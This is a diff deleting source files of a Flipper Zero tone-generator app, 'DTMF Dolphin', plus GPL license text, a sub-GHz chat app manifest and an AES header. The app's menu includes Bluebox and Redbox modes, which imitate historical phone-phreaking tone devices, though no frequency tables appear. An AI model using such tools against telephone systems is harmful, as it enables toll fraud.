return current_scene_data;
}
bool dtmf_dolphin_data_get_tone_frequencies(float* freq1, float* freq2, uint8_t row, uint8_t col) {
for(size_t i = 0; i < current_scene_data->tone_count; i++) {
DTMFDolphinTones tones = current_scene_data->tones[i];
if(tones.pos.row == row && tones.pos.col == col) {
freq1[0] = tones.frequency_1;
freq2[0] = tones.frequency_2;
return true;
}
}
return false;
}
bool dtmf_dolphin_data_get_filter_data(
uint16_t* pulses,
uint16_t* pulse_ms,
uint16_t* gap_ms,
uint8_t row,
uint8_t col) {
for(size_t i = 0; i < current_scene_data->tone_count; i++) {
DTMFDolphinTones tones = current_scene_data->tones[i];
if(tones.pos.row == row && tones.pos.col == col) {
pulses[0] = tones.pulses;
pulse_ms[0] = tones.pulse_ms;
gap_ms[0] = tones.gap_duration;
return true;
}
}
return false;
}
const char* dtmf_dolphin_data_get_tone_name(uint8_t row, uint8_t col) {
for(size_t i = 0; i < current_scene_data->tone_count; i++) {
DTMFDolphinTones tones = current_scene_data->tones[i];
if(tones.pos.row == row && tones.pos.col == col) {
return tones.name;
}
}
return NULL;
}
const char* dtmf_dolphin_data_get_current_section_name() {
if(current_scene_data) {
return current_scene_data->name;
}
return NULL;
}
void dtmf_dolphin_tone_get_max_pos(uint8_t* max_rows, uint8_t* max_cols, uint8_t* max_span) {
max_rows[0] = 0;
max_cols[0] = 0;
max_span[0] = 0;
uint8_t tmp_rowspan[5] = {0, 0, 0, 0, 0};
for(size_t i = 0; i < current_scene_data->tone_count; i++) {
DTMFDolphinTones tones = current_scene_data->tones[i];
if(tones.pos.row > max_rows[0]) {
max_rows[0] = tones.pos.row;
}
if(tones.pos.col > max_cols[0]) {
max_cols[0] = tones.pos.col;
}
tmp_rowspan[tones.pos.row] += tones.pos.span;
if(tmp_rowspan[tones.pos.row] > max_span[0]) max_span[0] = tmp_rowspan[tones.pos.row];
}
max_rows[0]++;
max_cols[0]++;
}
uint8_t dtmf_dolphin_get_tone_span(uint8_t row, uint8_t col) {
for(size_t i = 0; i < current_scene_data->tone_count; i++) {
DTMFDolphinTones tones = current_scene_data->tones[i];
if(tones.pos.row == row && tones.pos.col == col) {
return tones.pos.span;
}
}
return 0;
}

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@@ -1,36 +0,0 @@
#pragma once
#include <stddef.h>
#include <stdint.h>
#include <stdbool.h>
#define DTMF_DOLPHIN_MAX_TONE_COUNT 16
typedef enum {
DTMF_DOLPHIN_TONE_BLOCK_DIALER,
DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX,
DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US,
DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK,
DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA,
DTMF_DOLPHIN_TONE_BLOCK_MISC,
} DTMFDolphinToneSection;
void dtmf_dolphin_data_set_current_section(DTMFDolphinToneSection section);
DTMFDolphinToneSection dtmf_dolphin_data_get_current_section();
bool dtmf_dolphin_data_get_tone_frequencies(float* freq1, float* freq2, uint8_t row, uint8_t col);
bool dtmf_dolphin_data_get_filter_data(
uint16_t* pulses,
uint16_t* pulse_ms,
uint16_t* gap_ms,
uint8_t row,
uint8_t col);
const char* dtmf_dolphin_data_get_tone_name(uint8_t row, uint8_t col);
const char* dtmf_dolphin_data_get_current_section_name();
void dtmf_dolphin_tone_get_max_pos(uint8_t* max_rows, uint8_t* max_cols, uint8_t* max_span);
uint8_t dtmf_dolphin_get_tone_span(uint8_t row, uint8_t col);

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@@ -1,21 +0,0 @@
#pragma once
typedef enum {
DTMFDolphinEventVolumeUp = 0,
DTMFDolphinEventVolumeDown,
DTMFDolphinDialerOkCB,
DTMFDolphinEventStartDialer,
DTMFDolphinEventStartBluebox,
DTMFDolphinEventStartRedboxUS,
DTMFDolphinEventStartRedboxUK,
DTMFDolphinEventStartRedboxCA,
DTMFDolphinEventStartMisc,
DTMFDolphinEventPlayTones,
DTMFDolphinEventStopTones,
DTMFDolphinEventDMAHalfTransfer,
DTMFDolphinEventDMAFullTransfer,
} DTMFDolphinEvent;
typedef struct {
DTMFDolphinEvent type;
} DTMFDolphinCustomEvent;

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@@ -1,52 +0,0 @@
#include "dtmf_dolphin_hal.h"
void dtmf_dolphin_speaker_init() {
LL_TIM_InitTypeDef TIM_InitStruct = {0};
TIM_InitStruct.Prescaler = DTMF_DOLPHIN_HAL_DMA_PRESCALER;
TIM_InitStruct.Autoreload = DTMF_DOLPHIN_HAL_DMA_AUTORELOAD;
LL_TIM_Init(FURI_HAL_SPEAKER_TIMER, &TIM_InitStruct);
LL_TIM_OC_InitTypeDef TIM_OC_InitStruct = {0};
TIM_OC_InitStruct.OCMode = LL_TIM_OCMODE_PWM1;
TIM_OC_InitStruct.OCState = LL_TIM_OCSTATE_ENABLE;
TIM_OC_InitStruct.CompareValue = 127;
LL_TIM_OC_Init(FURI_HAL_SPEAKER_TIMER, FURI_HAL_SPEAKER_CHANNEL, &TIM_OC_InitStruct);
}
void dtmf_dolphin_speaker_start() {
LL_TIM_EnableAllOutputs(FURI_HAL_SPEAKER_TIMER);
LL_TIM_EnableCounter(FURI_HAL_SPEAKER_TIMER);
}
void dtmf_dolphin_speaker_stop() {
LL_TIM_DisableAllOutputs(FURI_HAL_SPEAKER_TIMER);
LL_TIM_DisableCounter(FURI_HAL_SPEAKER_TIMER);
}
void dtmf_dolphin_dma_init(uint32_t address, size_t size) {
uint32_t dma_dst = (uint32_t) & (FURI_HAL_SPEAKER_TIMER->CCR1);
LL_DMA_ConfigAddresses(DMA_INSTANCE, address, dma_dst, LL_DMA_DIRECTION_MEMORY_TO_PERIPH);
LL_DMA_SetDataLength(DMA_INSTANCE, size);
LL_DMA_SetPeriphRequest(DMA_INSTANCE, LL_DMAMUX_REQ_TIM16_UP);
LL_DMA_SetDataTransferDirection(DMA_INSTANCE, LL_DMA_DIRECTION_MEMORY_TO_PERIPH);
LL_DMA_SetChannelPriorityLevel(DMA_INSTANCE, LL_DMA_PRIORITY_VERYHIGH);
LL_DMA_SetMode(DMA_INSTANCE, LL_DMA_MODE_CIRCULAR);
LL_DMA_SetPeriphIncMode(DMA_INSTANCE, LL_DMA_PERIPH_NOINCREMENT);
LL_DMA_SetMemoryIncMode(DMA_INSTANCE, LL_DMA_MEMORY_INCREMENT);
LL_DMA_SetPeriphSize(DMA_INSTANCE, LL_DMA_PDATAALIGN_HALFWORD);
LL_DMA_SetMemorySize(DMA_INSTANCE, LL_DMA_MDATAALIGN_HALFWORD);
LL_DMA_EnableIT_TC(DMA_INSTANCE);
LL_DMA_EnableIT_HT(DMA_INSTANCE);
}
void dtmf_dolphin_dma_start() {
LL_DMA_EnableChannel(DMA_INSTANCE);
LL_TIM_EnableDMAReq_UPDATE(FURI_HAL_SPEAKER_TIMER);
}
void dtmf_dolphin_dma_stop() {
LL_DMA_DisableChannel(DMA_INSTANCE);
}

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@@ -1,33 +0,0 @@
#pragma once
#include <furi.h>
#include <furi_hal.h>
#include <stm32wb55xx.h>
#include <stm32wbxx_ll_tim.h>
#include <stm32wbxx_ll_dma.h>
#define FURI_HAL_SPEAKER_TIMER TIM16
#define FURI_HAL_SPEAKER_CHANNEL LL_TIM_CHANNEL_CH1
#define DMA_INSTANCE DMA1, LL_DMA_CHANNEL_1
#define DTMF_DOLPHIN_HAL_DMA_PRESCALER 4
#define DTMF_DOLPHIN_HAL_DMA_AUTORELOAD 255
#ifdef __cplusplus
extern "C" {
#endif
void dtmf_dolphin_speaker_init();
void dtmf_dolphin_speaker_start();
void dtmf_dolphin_speaker_stop();
void dtmf_dolphin_dma_init(uint32_t address, size_t size);
void dtmf_dolphin_dma_start();
void dtmf_dolphin_dma_stop();
#ifdef __cplusplus
}
#endif

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@@ -1,42 +0,0 @@
#pragma once
#include "scenes/dtmf_dolphin_scene.h"
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/scene_manager.h>
// #include <gui/modules/submenu.h>
// #include <gui/modules/widget.h>
#include <gui/modules/variable_item_list.h>
#include <notification/notification_messages.h>
#include <input/input.h>
#include "dtmf_dolphin_event.h"
#include "views/dtmf_dolphin_dialer.h"
#define TAG "DTMFDolphin"
enum DTMFDolphinSceneState {
DTMFDolphinSceneStateDialer,
DTMFDolphinSceneStateBluebox,
DTMFDolphinSceneStateRedboxUS,
DTMFDolphinSceneStateRedboxUK,
DTMFDolphinSceneStateRedboxCA,
DTMFDolphinSceneStateMisc,
};
typedef struct {
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
VariableItemList* main_menu_list;
DTMFDolphinDialer* dtmf_dolphin_dialer;
Gui* gui;
// ButtonPanel* dialer_button_panel;
// ButtonPanel* bluebox_button_panel;
// ButtonPanel* redbox_button_panel;
NotificationApp* notification;
} DTMFDolphinApp;
typedef enum { DTMFDolphinViewMainMenu, DTMFDolphinViewDialer } DTMFDolphinView;

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@@ -1,30 +0,0 @@
#include "dtmf_dolphin_scene.h"
// Generate scene on_enter handlers array
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,
void (*const dtmf_dolphin_scene_on_enter_handlers[])(void*) = {
#include "dtmf_dolphin_scene_config.h"
};
#undef ADD_SCENE
// Generate scene on_event handlers array
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,
bool (*const dtmf_dolphin_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = {
#include "dtmf_dolphin_scene_config.h"
};
#undef ADD_SCENE
// Generate scene on_exit handlers array
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,
void (*const dtmf_dolphin_scene_on_exit_handlers[])(void* context) = {
#include "dtmf_dolphin_scene_config.h"
};
#undef ADD_SCENE
// Initialize scene handlers configuration structure
const SceneManagerHandlers dtmf_dolphin_scene_handlers = {
.on_enter_handlers = dtmf_dolphin_scene_on_enter_handlers,
.on_event_handlers = dtmf_dolphin_scene_on_event_handlers,
.on_exit_handlers = dtmf_dolphin_scene_on_exit_handlers,
.scene_num = DTMFDolphinSceneNum,
};

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@@ -1,29 +0,0 @@
#pragma once
#include <gui/scene_manager.h>
// Generate scene id and total number
#define ADD_SCENE(prefix, name, id) DTMFDolphinScene##id,
typedef enum {
#include "dtmf_dolphin_scene_config.h"
DTMFDolphinSceneNum,
} DTMFDolphinScene;
#undef ADD_SCENE
extern const SceneManagerHandlers dtmf_dolphin_scene_handlers;
// Generate scene on_enter handlers declaration
#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*);
#include "dtmf_dolphin_scene_config.h"
#undef ADD_SCENE
// Generate scene on_event handlers declaration
#define ADD_SCENE(prefix, name, id) \
bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event);
#include "dtmf_dolphin_scene_config.h"
#undef ADD_SCENE
// Generate scene on_exit handlers declaration
#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context);
#include "dtmf_dolphin_scene_config.h"
#undef ADD_SCENE

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@@ -1,2 +0,0 @@
ADD_SCENE(dtmf_dolphin, start, Start)
ADD_SCENE(dtmf_dolphin, dialer, Dialer)

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@@ -1,49 +0,0 @@
#include "../dtmf_dolphin_i.h"
// #include "../dtmf_dolphin_data.h"
// #include "../dtmf_dolphin_audio.h"
void dtmf_dolphin_scene_dialer_on_enter(void* context) {
DTMFDolphinApp* app = context;
DTMFDolphinScene scene_id = DTMFDolphinSceneDialer;
enum DTMFDolphinSceneState state = scene_manager_get_scene_state(app->scene_manager, scene_id);
switch(state) {
case DTMFDolphinSceneStateBluebox:
dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX);
break;
case DTMFDolphinSceneStateRedboxUS:
dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US);
break;
case DTMFDolphinSceneStateRedboxUK:
dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK);
break;
case DTMFDolphinSceneStateRedboxCA:
dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA);
break;
case DTMFDolphinSceneStateMisc:
dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_MISC);
break;
default:
dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_DIALER);
break;
}
view_dispatcher_switch_to_view(app->view_dispatcher, DTMFDolphinViewDialer);
}
bool dtmf_dolphin_scene_dialer_on_event(void* context, SceneManagerEvent event) {
DTMFDolphinApp* app = context;
UNUSED(app);
UNUSED(event);
bool consumed = false;
// if(event.type == SceneManagerEventTypeTick) {
// consumed = true;
// }
return consumed;
}
void dtmf_dolphin_scene_dialer_on_exit(void* context) {
UNUSED(context);
}

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@@ -1,94 +0,0 @@
#include "../dtmf_dolphin_i.h"
static void dtmf_dolphin_scene_start_main_menu_enter_callback(void* context, uint32_t index) {
DTMFDolphinApp* app = context;
uint8_t cust_event = 255;
switch(index) {
case 0:
cust_event = DTMFDolphinEventStartDialer;
break;
case 1:
cust_event = DTMFDolphinEventStartBluebox;
break;
case 2:
cust_event = DTMFDolphinEventStartRedboxUS;
break;
case 3:
cust_event = DTMFDolphinEventStartRedboxUK;
break;
case 4:
cust_event = DTMFDolphinEventStartRedboxCA;
break;
case 5:
cust_event = DTMFDolphinEventStartMisc;
break;
default:
return;
}
view_dispatcher_send_custom_event(app->view_dispatcher, cust_event);
}
void dtmf_dolphin_scene_start_on_enter(void* context) {
DTMFDolphinApp* app = context;
VariableItemList* var_item_list = app->main_menu_list;
// VariableItem* item;
variable_item_list_set_enter_callback(
var_item_list, dtmf_dolphin_scene_start_main_menu_enter_callback, app);
variable_item_list_add(var_item_list, "Dialer", 0, NULL, context);
variable_item_list_add(var_item_list, "Bluebox", 0, NULL, context);
variable_item_list_add(var_item_list, "Redbox (US)", 0, NULL, context);
variable_item_list_add(var_item_list, "Redbox (UK)", 0, NULL, context);
variable_item_list_add(var_item_list, "Redbox (CA)", 0, NULL, context);
variable_item_list_add(var_item_list, "Misc", 0, NULL, context);
variable_item_list_set_selected_item(
var_item_list, scene_manager_get_scene_state(app->scene_manager, DTMFDolphinSceneStart));
view_dispatcher_switch_to_view(app->view_dispatcher, DTMFDolphinViewMainMenu);
}
bool dtmf_dolphin_scene_start_on_event(void* context, SceneManagerEvent event) {
DTMFDolphinApp* app = context;
UNUSED(app);
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
uint8_t sc_state;
switch(event.event) {
case DTMFDolphinEventStartDialer:
sc_state = DTMFDolphinSceneStateDialer;
break;
case DTMFDolphinEventStartBluebox:
sc_state = DTMFDolphinSceneStateBluebox;
break;
case DTMFDolphinEventStartRedboxUS:
sc_state = DTMFDolphinSceneStateRedboxUS;
break;
case DTMFDolphinEventStartRedboxUK:
sc_state = DTMFDolphinSceneStateRedboxUK;
break;
case DTMFDolphinEventStartRedboxCA:
sc_state = DTMFDolphinSceneStateRedboxCA;
break;
case DTMFDolphinEventStartMisc:
sc_state = DTMFDolphinSceneStateMisc;
break;
default:
return consumed;
}
scene_manager_set_scene_state(app->scene_manager, DTMFDolphinSceneDialer, sc_state);
scene_manager_next_scene(app->scene_manager, DTMFDolphinSceneDialer);
consumed = true;
}
return consumed;
}
void dtmf_dolphin_scene_start_on_exit(void* context) {
DTMFDolphinApp* app = context;
variable_item_list_reset(app->main_menu_list);
}

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@@ -1,10 +0,0 @@
#pragma once
#include "../dtmf_dolphin_event.h"
#include "../dtmf_dolphin_data.h"
#include "../dtmf_dolphin_audio.h"
#define DTMF_DOLPHIN_NUMPAD_X 1
#define DTMF_DOLPHIN_NUMPAD_Y 14
#define DTMF_DOLPHIN_BUTTON_WIDTH 13
#define DTMF_DOLPHIN_BUTTON_HEIGHT 13
#define DTMF_DOLPHIN_BUTTON_PADDING 1 // all sides

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@@ -1,350 +0,0 @@
#include "dtmf_dolphin_dialer.h"
#include <gui/elements.h>
typedef struct DTMFDolphinDialer {
View* view;
DTMFDolphinDialerOkCallback callback;
void* context;
} DTMFDolphinDialer;
typedef struct {
DTMFDolphinToneSection section;
uint8_t row;
uint8_t col;
float freq1;
float freq2;
bool playing;
uint16_t pulses;
uint16_t pulse_ms;
uint16_t gap_ms;
} DTMFDolphinDialerModel;
static bool dtmf_dolphin_dialer_process_up(DTMFDolphinDialer* dtmf_dolphin_dialer);
static bool dtmf_dolphin_dialer_process_down(DTMFDolphinDialer* dtmf_dolphin_dialer);
static bool dtmf_dolphin_dialer_process_left(DTMFDolphinDialer* dtmf_dolphin_dialer);
static bool dtmf_dolphin_dialer_process_right(DTMFDolphinDialer* dtmf_dolphin_dialer);
static bool
dtmf_dolphin_dialer_process_ok(DTMFDolphinDialer* dtmf_dolphin_dialer, InputEvent* event);
void draw_button(Canvas* canvas, uint8_t row, uint8_t col, bool invert) {
uint8_t left = DTMF_DOLPHIN_NUMPAD_X + // ((col + 1) * DTMF_DOLPHIN_BUTTON_PADDING) +
(col * DTMF_DOLPHIN_BUTTON_WIDTH);
// (col * DTMF_DOLPHIN_BUTTON_PADDING);
uint8_t top = DTMF_DOLPHIN_NUMPAD_Y + // ((row + 1) * DTMF_DOLPHIN_BUTTON_PADDING) +
(row * DTMF_DOLPHIN_BUTTON_HEIGHT);
// (row * DTMF_DOLPHIN_BUTTON_PADDING);
uint8_t span = dtmf_dolphin_get_tone_span(row, col);
if(span == 0) {
return;
}
canvas_set_color(canvas, ColorBlack);
if(invert)
canvas_draw_rbox(
canvas,
left,
top,
(DTMF_DOLPHIN_BUTTON_WIDTH * span) - (DTMF_DOLPHIN_BUTTON_PADDING * 2),
DTMF_DOLPHIN_BUTTON_HEIGHT - (DTMF_DOLPHIN_BUTTON_PADDING * 2),
2);
else
canvas_draw_rframe(
canvas,
left,
top,
(DTMF_DOLPHIN_BUTTON_WIDTH * span) - (DTMF_DOLPHIN_BUTTON_PADDING * 2),
DTMF_DOLPHIN_BUTTON_HEIGHT - (DTMF_DOLPHIN_BUTTON_PADDING * 2),
2);
if(invert) canvas_invert_color(canvas);
canvas_set_font(canvas, FontSecondary);
// canvas_set_color(canvas, invert ? ColorWhite : ColorBlack);
canvas_draw_str_aligned(
canvas,
left - 1 + (int)((DTMF_DOLPHIN_BUTTON_WIDTH * span) / 2),
top + (int)(DTMF_DOLPHIN_BUTTON_HEIGHT / 2),
AlignCenter,
AlignCenter,
dtmf_dolphin_data_get_tone_name(row, col));
if(invert) canvas_invert_color(canvas);
}
void draw_dialer(Canvas* canvas, void* _model) {
DTMFDolphinDialerModel* model = _model;
uint8_t max_rows;
uint8_t max_cols;
uint8_t max_span;
dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span);
canvas_set_font(canvas, FontSecondary);
for(int r = 0; r < max_rows; r++) {
for(int c = 0; c < max_cols; c++) {
if(model->row == r && model->col == c)
draw_button(canvas, r, c, true);
else
draw_button(canvas, r, c, false);
}
}
}
void update_frequencies(DTMFDolphinDialerModel* model) {
dtmf_dolphin_data_get_tone_frequencies(&model->freq1, &model->freq2, model->row, model->col);
dtmf_dolphin_data_get_filter_data(
&model->pulses, &model->pulse_ms, &model->gap_ms, model->row, model->col);
}
static void dtmf_dolphin_dialer_draw_callback(Canvas* canvas, void* _model) {
DTMFDolphinDialerModel* model = _model;
if(model->playing) {
// Leverage the prioritized draw callback to handle
// the DMA so that it doesn't skip.
dtmf_dolphin_audio_handle_tick();
// Don't do any drawing if audio is playing.
canvas_set_font(canvas, FontPrimary);
elements_multiline_text_aligned(
canvas,
canvas_width(canvas) / 2,
canvas_height(canvas) / 2,
AlignCenter,
AlignCenter,
"Playing Tones");
return;
}
update_frequencies(model);
uint8_t max_rows = 0;
uint8_t max_cols = 0;
uint8_t max_span = 0;
dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span);
canvas_set_font(canvas, FontPrimary);
elements_multiline_text(canvas, 2, 10, dtmf_dolphin_data_get_current_section_name());
canvas_draw_line(
canvas,
(max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 1,
0,
(max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 1,
canvas_height(canvas));
elements_multiline_text(canvas, (max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 4, 10, "Detail");
canvas_draw_line(
canvas, 0, DTMF_DOLPHIN_NUMPAD_Y - 3, canvas_width(canvas), DTMF_DOLPHIN_NUMPAD_Y - 3);
// elements_multiline_text_aligned(canvas, 64, 2, AlignCenter, AlignTop, "Dialer Mode");
draw_dialer(canvas, model);
FuriString* output = furi_string_alloc();
if(model->freq1 && model->freq2) {
furi_string_cat_printf(
output,
"Dual Tone\nF1: %u Hz\nF2: %u Hz\n",
(unsigned int)model->freq1,
(unsigned int)model->freq2);
} else if(model->freq1) {
furi_string_cat_printf(output, "Single Tone\nF: %u Hz\n", (unsigned int)model->freq1);
}
canvas_set_font(canvas, FontSecondary);
canvas_set_color(canvas, ColorBlack);
if(model->pulse_ms) {
furi_string_cat_printf(output, "P: %u * %u ms\n", model->pulses, model->pulse_ms);
}
if(model->gap_ms) {
furi_string_cat_printf(output, "Gaps: %u ms\n", model->gap_ms);
}
elements_multiline_text(
canvas, (max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 4, 21, furi_string_get_cstr(output));
furi_string_free(output);
}
static bool dtmf_dolphin_dialer_input_callback(InputEvent* event, void* context) {
furi_assert(context);
DTMFDolphinDialer* dtmf_dolphin_dialer = context;
bool consumed = false;
if(event->type == InputTypeShort) {
if(event->key == InputKeyRight) {
consumed = dtmf_dolphin_dialer_process_right(dtmf_dolphin_dialer);
} else if(event->key == InputKeyLeft) {
consumed = dtmf_dolphin_dialer_process_left(dtmf_dolphin_dialer);
} else if(event->key == InputKeyUp) {
consumed = dtmf_dolphin_dialer_process_up(dtmf_dolphin_dialer);
} else if(event->key == InputKeyDown) {
consumed = dtmf_dolphin_dialer_process_down(dtmf_dolphin_dialer);
}
} else if(event->key == InputKeyOk) {
consumed = dtmf_dolphin_dialer_process_ok(dtmf_dolphin_dialer, event);
}
return consumed;
}
static bool dtmf_dolphin_dialer_process_up(DTMFDolphinDialer* dtmf_dolphin_dialer) {
with_view_model(
dtmf_dolphin_dialer->view,
DTMFDolphinDialerModel * model,
{
uint8_t span = 0;
uint8_t cursor = model->row;
while(span == 0 && cursor > 0) {
cursor--;
span = dtmf_dolphin_get_tone_span(cursor, model->col);
}
if(span != 0) {
model->row = cursor;
}
},
true);
return true;
}
static bool dtmf_dolphin_dialer_process_down(DTMFDolphinDialer* dtmf_dolphin_dialer) {
uint8_t max_rows = 0;
uint8_t max_cols = 0;
uint8_t max_span = 0;
dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span);
with_view_model(
dtmf_dolphin_dialer->view,
DTMFDolphinDialerModel * model,
{
uint8_t span = 0;
uint8_t cursor = model->row;
while(span == 0 && cursor < max_rows - 1) {
cursor++;
span = dtmf_dolphin_get_tone_span(cursor, model->col);
}
if(span != 0) {
model->row = cursor;
}
},
true);
return true;
}
static bool dtmf_dolphin_dialer_process_left(DTMFDolphinDialer* dtmf_dolphin_dialer) {
with_view_model(
dtmf_dolphin_dialer->view,
DTMFDolphinDialerModel * model,
{
uint8_t span = 0;
uint8_t cursor = model->col;
while(span == 0 && cursor > 0) {
cursor--;
span = dtmf_dolphin_get_tone_span(model->row, cursor);
}
if(span != 0) {
model->col = cursor;
}
},
true);
return true;
}
static bool dtmf_dolphin_dialer_process_right(DTMFDolphinDialer* dtmf_dolphin_dialer) {
uint8_t max_rows = 0;
uint8_t max_cols = 0;
uint8_t max_span = 0;
dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span);
with_view_model(
dtmf_dolphin_dialer->view,
DTMFDolphinDialerModel * model,
{
uint8_t span = 0;
uint8_t cursor = model->col;
while(span == 0 && cursor < max_cols - 1) {
cursor++;
span = dtmf_dolphin_get_tone_span(model->row, cursor);
}
if(span != 0) {
model->col = cursor;
}
},
true);
return true;
}
static bool
dtmf_dolphin_dialer_process_ok(DTMFDolphinDialer* dtmf_dolphin_dialer, InputEvent* event) {
bool consumed = false;
with_view_model(
dtmf_dolphin_dialer->view,
DTMFDolphinDialerModel * model,
{
if(event->type == InputTypePress) {
model->playing = dtmf_dolphin_audio_play_tones(
model->freq1, model->freq2, model->pulses, model->pulse_ms, model->gap_ms);
} else if(event->type == InputTypeRelease) {
model->playing = !dtmf_dolphin_audio_stop_tones();
}
},
true);
return consumed;
}
static void dtmf_dolphin_dialer_enter_callback(void* context) {
furi_assert(context);
DTMFDolphinDialer* dtmf_dolphin_dialer = context;
with_view_model(
dtmf_dolphin_dialer->view,
DTMFDolphinDialerModel * model,
{
model->col = 0;
model->row = 0;
model->section = 0;
model->freq1 = 0.0;
model->freq2 = 0.0;
model->playing = false;
},
true);
}
DTMFDolphinDialer* dtmf_dolphin_dialer_alloc() {
DTMFDolphinDialer* dtmf_dolphin_dialer = malloc(sizeof(DTMFDolphinDialer));
dtmf_dolphin_dialer->view = view_alloc();
view_allocate_model(
dtmf_dolphin_dialer->view, ViewModelTypeLocking, sizeof(DTMFDolphinDialerModel));
with_view_model(
dtmf_dolphin_dialer->view,
DTMFDolphinDialerModel * model,
{
model->col = 0;
model->row = 0;
model->section = 0;
model->freq1 = 0.0;
model->freq2 = 0.0;
model->playing = false;
},
true);
view_set_context(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer);
view_set_draw_callback(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer_draw_callback);
view_set_input_callback(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer_input_callback);
view_set_enter_callback(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer_enter_callback);
return dtmf_dolphin_dialer;
}
void dtmf_dolphin_dialer_free(DTMFDolphinDialer* dtmf_dolphin_dialer) {
furi_assert(dtmf_dolphin_dialer);
view_free(dtmf_dolphin_dialer->view);
free(dtmf_dolphin_dialer);
}
View* dtmf_dolphin_dialer_get_view(DTMFDolphinDialer* dtmf_dolphin_dialer) {
furi_assert(dtmf_dolphin_dialer);
return dtmf_dolphin_dialer->view;
}

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@@ -1,18 +0,0 @@
#pragma once
#include <gui/view.h>
#include "dtmf_dolphin_common.h"
typedef struct DTMFDolphinDialer DTMFDolphinDialer;
typedef void (*DTMFDolphinDialerOkCallback)(InputType type, void* context);
DTMFDolphinDialer* dtmf_dolphin_dialer_alloc();
void dtmf_dolphin_dialer_free(DTMFDolphinDialer* dtmf_dolphin_dialer);
View* dtmf_dolphin_dialer_get_view(DTMFDolphinDialer* dtmf_dolphin_dialer);
void dtmf_dolphin_dialer_set_ok_callback(
DTMFDolphinDialer* dtmf_dolphin_dialer,
DTMFDolphinDialerOkCallback callback,
void* context);

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GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
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Preamble
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If the Program specifies that a proxy can decide which future
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THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
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If the disclaimer of warranty and limitation of liability provided
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END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
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(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
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You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.

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@@ -1,15 +0,0 @@
App(
appid="esubghz_chat",
name="Enhanced Sub-Ghz Chat",
apptype=FlipperAppType.EXTERNAL,
entry_point="esubghz_chat",
requires=[
"gui",
"subghz",
],
stack_size=8 * 1024,
fap_category="Sub-GHz",
fap_icon="assets/chat_10px.png",
fap_icon_assets="assets",
fap_icon_assets_symbol="esubghz_chat",
)

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/******************************************************************************
*
* THIS SOURCE CODE IS HEREBY PLACED INTO THE PUBLIC DOMAIN FOR THE GOOD OF ALL
*
* This is a simple and straightforward implementation of the AES Rijndael
* 128-bit block cipher designed by Vincent Rijmen and Joan Daemen. The focus
* of this work was correctness & accuracy. It is written in 'C' without any
* particular focus upon optimization or speed. It should be endian (memory
* byte order) neutral since the few places that care are handled explicitly.
*
* This implementation of Rijndael was created by Steven M. Gibson of GRC.com.
*
* It is intended for general purpose use, but was written in support of GRC's
* reference implementation of the SQRL (Secure Quick Reliable Login) client.
*
* See: http://csrc.nist.gov/archive/aes/rijndael/wsdindex.html
*
* NO COPYRIGHT IS CLAIMED IN THIS WORK, HOWEVER, NEITHER IS ANY WARRANTY MADE
* REGARDING ITS FITNESS FOR ANY PARTICULAR PURPOSE. USE IT AT YOUR OWN RISK.
*
